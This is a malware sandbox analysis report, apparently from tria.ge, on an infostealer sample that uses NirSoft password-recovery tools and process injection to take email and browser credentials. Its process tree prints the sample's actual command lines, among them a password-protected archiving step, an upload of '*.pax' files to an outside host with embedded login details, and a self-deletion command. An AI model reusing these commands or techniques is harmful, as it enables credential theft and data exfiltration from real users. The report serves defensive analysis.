Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07/09/2024, 07:48
Static task
static1
Behavioral task
behavioral1
Sample
d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
-
Target
d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe
-
Size
1.0MB
-
MD5
d16ce7cf123a64124e62853b6334fb85
-
SHA1
dffee691c7c1010c8a410057ebdce003631055bc
-
SHA256
e58c7afbf68aa6364b320af12e3fb65df7c53b534f30c5d1de60c63bfe4fc37e
-
SHA512
1f29aa8b81eaf72f4f05e37c200d1be4acb1c3d050951e0783b6e7ff8de17983b2bf1338107bcf03766f353e40c809a7dca90abc403e2af5dd1a2f99b2bfdb1b
-
SSDEEP
24576:W6Fv2eEgqRryI/iN3czSX+2RSSeqSE6EbwWFxI8yA/q24io3:lF+JJyyP+2McGPn/U
Malware Config
Signatures
-
Detected Nirsoft tools 21 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral1/memory/2012-7-0x0000000000400000-0x000000000043D000-memory.dmp Nirsoft behavioral1/memory/2456-41-0x0000000000400000-0x0000000000425000-memory.dmp Nirsoft behavioral1/memory/2012-16-0x0000000000400000-0x000000000043D000-memory.dmp Nirsoft behavioral1/memory/1680-62-0x0000000000400000-0x0000000000431000-memory.dmp Nirsoft behavioral1/memory/1224-70-0x0000000000400000-0x0000000000415000-memory.dmp Nirsoft behavioral1/memory/1224-69-0x0000000000400000-0x0000000000415000-memory.dmp Nirsoft behavioral1/memory/2456-66-0x0000000000400000-0x0000000000425000-memory.dmp Nirsoft behavioral1/memory/1680-47-0x0000000000400000-0x0000000000431000-memory.dmp Nirsoft behavioral1/memory/2456-45-0x0000000000400000-0x0000000000425000-memory.dmp Nirsoft behavioral1/memory/1680-44-0x0000000000400000-0x0000000000431000-memory.dmp Nirsoft behavioral1/memory/2736-61-0x0000000000400000-0x0000000000416000-memory.dmp Nirsoft behavioral1/memory/2736-60-0x0000000000400000-0x0000000000416000-memory.dmp Nirsoft behavioral1/memory/1788-28-0x0000000000400000-0x000000000041D000-memory.dmp Nirsoft behavioral1/memory/2972-27-0x0000000000400000-0x000000000041B000-memory.dmp Nirsoft behavioral1/memory/1788-26-0x0000000000400000-0x000000000041D000-memory.dmp Nirsoft behavioral1/memory/2972-24-0x0000000000400000-0x000000000041B000-memory.dmp Nirsoft behavioral1/memory/2816-54-0x0000000000400000-0x0000000000418000-memory.dmp Nirsoft behavioral1/memory/2816-53-0x0000000000400000-0x0000000000418000-memory.dmp Nirsoft behavioral1/memory/2012-8-0x0000000000400000-0x000000000043D000-memory.dmp Nirsoft behavioral1/memory/1788-72-0x0000000000400000-0x000000000041D000-memory.dmp Nirsoft behavioral1/memory/2972-73-0x0000000000400000-0x000000000041B000-memory.dmp Nirsoft -
NirSoft MailPassView 3 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral1/memory/1788-28-0x0000000000400000-0x000000000041D000-memory.dmp MailPassView behavioral1/memory/1788-26-0x0000000000400000-0x000000000041D000-memory.dmp MailPassView behavioral1/memory/1788-72-0x0000000000400000-0x000000000041D000-memory.dmp MailPassView -
Deletes itself 1 IoCs
pid Process 1432 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral1/memory/2012-7-0x0000000000400000-0x000000000043D000-memory.dmp upx behavioral1/memory/2012-4-0x0000000000400000-0x000000000043D000-memory.dmp upx behavioral1/memory/2972-17-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2456-38-0x0000000000400000-0x0000000000425000-memory.dmp upx behavioral1/memory/2456-41-0x0000000000400000-0x0000000000425000-memory.dmp upx behavioral1/memory/2012-16-0x0000000000400000-0x000000000043D000-memory.dmp upx behavioral1/memory/2736-57-0x0000000000400000-0x0000000000416000-memory.dmp upx behavioral1/memory/1680-62-0x0000000000400000-0x0000000000431000-memory.dmp upx behavioral1/memory/1224-65-0x0000000000400000-0x0000000000415000-memory.dmp upx behavioral1/memory/1224-70-0x0000000000400000-0x0000000000415000-memory.dmp upx behavioral1/memory/1224-69-0x0000000000400000-0x0000000000415000-memory.dmp upx behavioral1/memory/1224-68-0x0000000000400000-0x0000000000415000-memory.dmp upx behavioral1/memory/2456-66-0x0000000000400000-0x0000000000425000-memory.dmp upx behavioral1/memory/1680-47-0x0000000000400000-0x0000000000431000-memory.dmp upx behavioral1/memory/2456-45-0x0000000000400000-0x0000000000425000-memory.dmp upx behavioral1/memory/1680-44-0x0000000000400000-0x0000000000431000-memory.dmp upx behavioral1/memory/1680-43-0x0000000000400000-0x0000000000431000-memory.dmp upx behavioral1/memory/2736-61-0x0000000000400000-0x0000000000416000-memory.dmp upx behavioral1/memory/2736-60-0x0000000000400000-0x0000000000416000-memory.dmp upx behavioral1/memory/1680-33-0x0000000000400000-0x0000000000431000-memory.dmp upx behavioral1/memory/1788-28-0x0000000000400000-0x000000000041D000-memory.dmp upx behavioral1/memory/2972-27-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/1788-26-0x0000000000400000-0x000000000041D000-memory.dmp upx behavioral1/memory/1788-25-0x0000000000400000-0x000000000041D000-memory.dmp upx behavioral1/memory/2972-24-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2736-59-0x0000000000400000-0x0000000000416000-memory.dmp upx behavioral1/memory/2816-54-0x0000000000400000-0x0000000000418000-memory.dmp upx behavioral1/memory/2816-53-0x0000000000400000-0x0000000000418000-memory.dmp upx behavioral1/memory/2816-52-0x0000000000400000-0x0000000000418000-memory.dmp upx behavioral1/memory/2816-51-0x0000000000400000-0x0000000000418000-memory.dmp upx behavioral1/memory/2972-13-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral1/memory/2456-40-0x0000000000400000-0x0000000000425000-memory.dmp upx behavioral1/memory/1788-22-0x0000000000400000-0x000000000041D000-memory.dmp upx behavioral1/memory/2012-6-0x0000000000400000-0x000000000043D000-memory.dmp upx behavioral1/memory/2012-8-0x0000000000400000-0x000000000043D000-memory.dmp upx behavioral1/memory/1788-72-0x0000000000400000-0x000000000041D000-memory.dmp upx behavioral1/memory/2972-73-0x0000000000400000-0x000000000041B000-memory.dmp upx -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 10 IoCs
description pid Process procid_target PID 2540 set thread context of 2012 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 30 PID 2540 set thread context of 2972 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 31 PID 2540 set thread context of 1788 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 32 PID 2540 set thread context of 1680 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 33 PID 2540 set thread context of 2456 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 34 PID 2540 set thread context of 2816 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 35 PID 2540 set thread context of 2736 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 36 PID 2540 set thread context of 1224 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 37 PID 2540 set thread context of 2436 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 39 PID 2540 set thread context of 1072 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 41 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language IEXPLORE.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 6065d37afa00db01 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000045c0dde48c11474f81d9a2c02be4ea22000000000200000000001066000000010000200000005d3595b1f11d585a038b24c693a4cc1eb142d51ca5ec14fc975406096900773e000000000e800000000200002000000041cdb4bf2f192d94057edbfe2778ccc22d7dc850e1f80c8c23aac6ca8aedc76990000000a73700e69ff1d760e7b06bd4f673e1b58d51e95f2a8a6a43ee4dde9d65be7dabdbb5d49213c9fc6e0ef2de336181b610afeee8cec5dd9ea6d2bb9d2985a5a632d31c2db5b6b2c011b48de7341aaa6fe94449457227bf51ededa8a6cf2be847f286ba6dbe15ba8498ded249bd69df3660d60f2b5323c45ce394db520bea4750b786fed9cee163112d49bb16f636f49a1e40000000efeee40a757ef7a529d4c95164b2d0508b63e32cc1ca9735790061bdd4da06498b89f4fd454e146864b4b8ea1c9afe9404cce6cfc9f81d73206fa557b612db75 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\SearchScopes iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{A43490A1-6CED-11EF-A97E-EE9D5ADBD8E3} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000045c0dde48c11474f81d9a2c02be4ea22000000000200000000001066000000010000200000009b79d36d0bca06853a89f7460015e896515324c24f7bbfaedae1f6c21903e599000000000e8000000002000020000000d7fb7b324df394c83ba3463bab6ef2d90c64795fcb084bbe9508f45baf9abab72000000040ba5dc5947e02b32245a5462f41c12ce7f0e65a911d58c4c1213bb6613d42434000000039b55dee5ad09a67859b83b51e3de3567f52775dd195a0e6a7e45ed6059a0574fef67d809aac796f276e068cb7205193e6e2a3eda0ab2d94f20f84e47658d4d7 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "431857207" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2972 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Token: SeRestorePrivilege 2972 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Token: SeBackupPrivilege 2972 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe Token: SeDebugPrivilege 2456 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2912 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2912 iexplore.exe 2912 iexplore.exe 2164 IEXPLORE.EXE 2164 IEXPLORE.EXE 2164 IEXPLORE.EXE 2164 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2540 wrote to memory of 2012 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 30 PID 2540 wrote to memory of 2012 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 30 PID 2540 wrote to memory of 2012 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 30 PID 2540 wrote to memory of 2012 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 30 PID 2540 wrote to memory of 2012 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 30 PID 2540 wrote to memory of 2012 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 30 PID 2540 wrote to memory of 2972 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 31 PID 2540 wrote to memory of 2972 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 31 PID 2540 wrote to memory of 2972 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 31 PID 2540 wrote to memory of 2972 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 31 PID 2540 wrote to memory of 2972 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 31 PID 2540 wrote to memory of 2972 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 31 PID 2540 wrote to memory of 1788 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 32 PID 2540 wrote to memory of 1788 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 32 PID 2540 wrote to memory of 1788 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 32 PID 2540 wrote to memory of 1788 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 32 PID 2540 wrote to memory of 1788 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 32 PID 2540 wrote to memory of 1788 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 32 PID 2540 wrote to memory of 1680 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 33 PID 2540 wrote to memory of 1680 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 33 PID 2540 wrote to memory of 1680 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 33 PID 2540 wrote to memory of 1680 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 33 PID 2540 wrote to memory of 1680 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 33 PID 2540 wrote to memory of 1680 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 33 PID 2540 wrote to memory of 2456 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 34 PID 2540 wrote to memory of 2456 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 34 PID 2540 wrote to memory of 2456 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 34 PID 2540 wrote to memory of 2456 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 34 PID 2540 wrote to memory of 2456 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 34 PID 2540 wrote to memory of 2456 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 34 PID 2540 wrote to memory of 2816 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 35 PID 2540 wrote to memory of 2816 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 35 PID 2540 wrote to memory of 2816 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 35 PID 2540 wrote to memory of 2816 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 35 PID 2540 wrote to memory of 2816 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 35 PID 2540 wrote to memory of 2816 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 35 PID 2540 wrote to memory of 2736 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 36 PID 2540 wrote to memory of 2736 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 36 PID 2540 wrote to memory of 2736 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 36 PID 2540 wrote to memory of 2736 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 36 PID 2540 wrote to memory of 2736 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 36 PID 2540 wrote to memory of 2736 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 36 PID 2540 wrote to memory of 1224 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 37 PID 2540 wrote to memory of 1224 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 37 PID 2540 wrote to memory of 1224 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 37 PID 2540 wrote to memory of 1224 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 37 PID 2540 wrote to memory of 1224 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 37 PID 2540 wrote to memory of 1224 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 37 PID 2540 wrote to memory of 2436 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 39 PID 2540 wrote to memory of 2436 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 39 PID 2540 wrote to memory of 2436 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 39 PID 2540 wrote to memory of 2436 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 39 PID 2540 wrote to memory of 2436 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 39 PID 2540 wrote to memory of 2436 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 39 PID 2540 wrote to memory of 1072 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 41 PID 2540 wrote to memory of 1072 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 41 PID 2540 wrote to memory of 1072 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 41 PID 2540 wrote to memory of 1072 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 41 PID 2540 wrote to memory of 1072 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 41 PID 2540 wrote to memory of 1072 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 41 PID 2540 wrote to memory of 2912 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 42 PID 2540 wrote to memory of 2912 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 42 PID 2540 wrote to memory of 2912 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 42 PID 2540 wrote to memory of 2912 2540 d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe 42
Processes
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_1.sys2⤵
- System Location Discovery: System Language Discovery
PID:2012
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_2.sys2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2972
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_3.sys2⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:1788
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_4.sys2⤵
- System Location Discovery: System Language Discovery
PID:1680
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_5.sys2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2456
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_7.sys2⤵
- System Location Discovery: System Language Discovery
PID:2816
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_8.sys2⤵
- System Location Discovery: System Language Discovery
PID:2736
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" /stab rundll32_9.sys2⤵
- System Location Discovery: System Language Discovery
PID:1224
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" a -ppEsTs}eLdS54 rundll32.dat rundll32_*2⤵
- System Location Discovery: System Language Discovery
PID:2436
-
-
C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"2⤵
- System Location Discovery: System Language Discovery
PID:1072 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\4D84.tmp\ren.bat" "3⤵
- System Location Discovery: System Language Discovery
PID:1620
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe" -u pompei -p 123123 -DD -F -P 443 livesecureupdate.com /sys *.pax2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2912 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2912 CREDAT:275457 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2164
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c dir && dir && del "C:\Users\Admin\AppData\Local\Temp\d16ce7cf123a64124e62853b6334fb85_JaffaCakes118.exe"2⤵
- Deletes itself
- System Location Discovery: System Language Discovery
PID:1432
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
579B
MD5f55da450a5fb287e1e0f0dcc965756ca
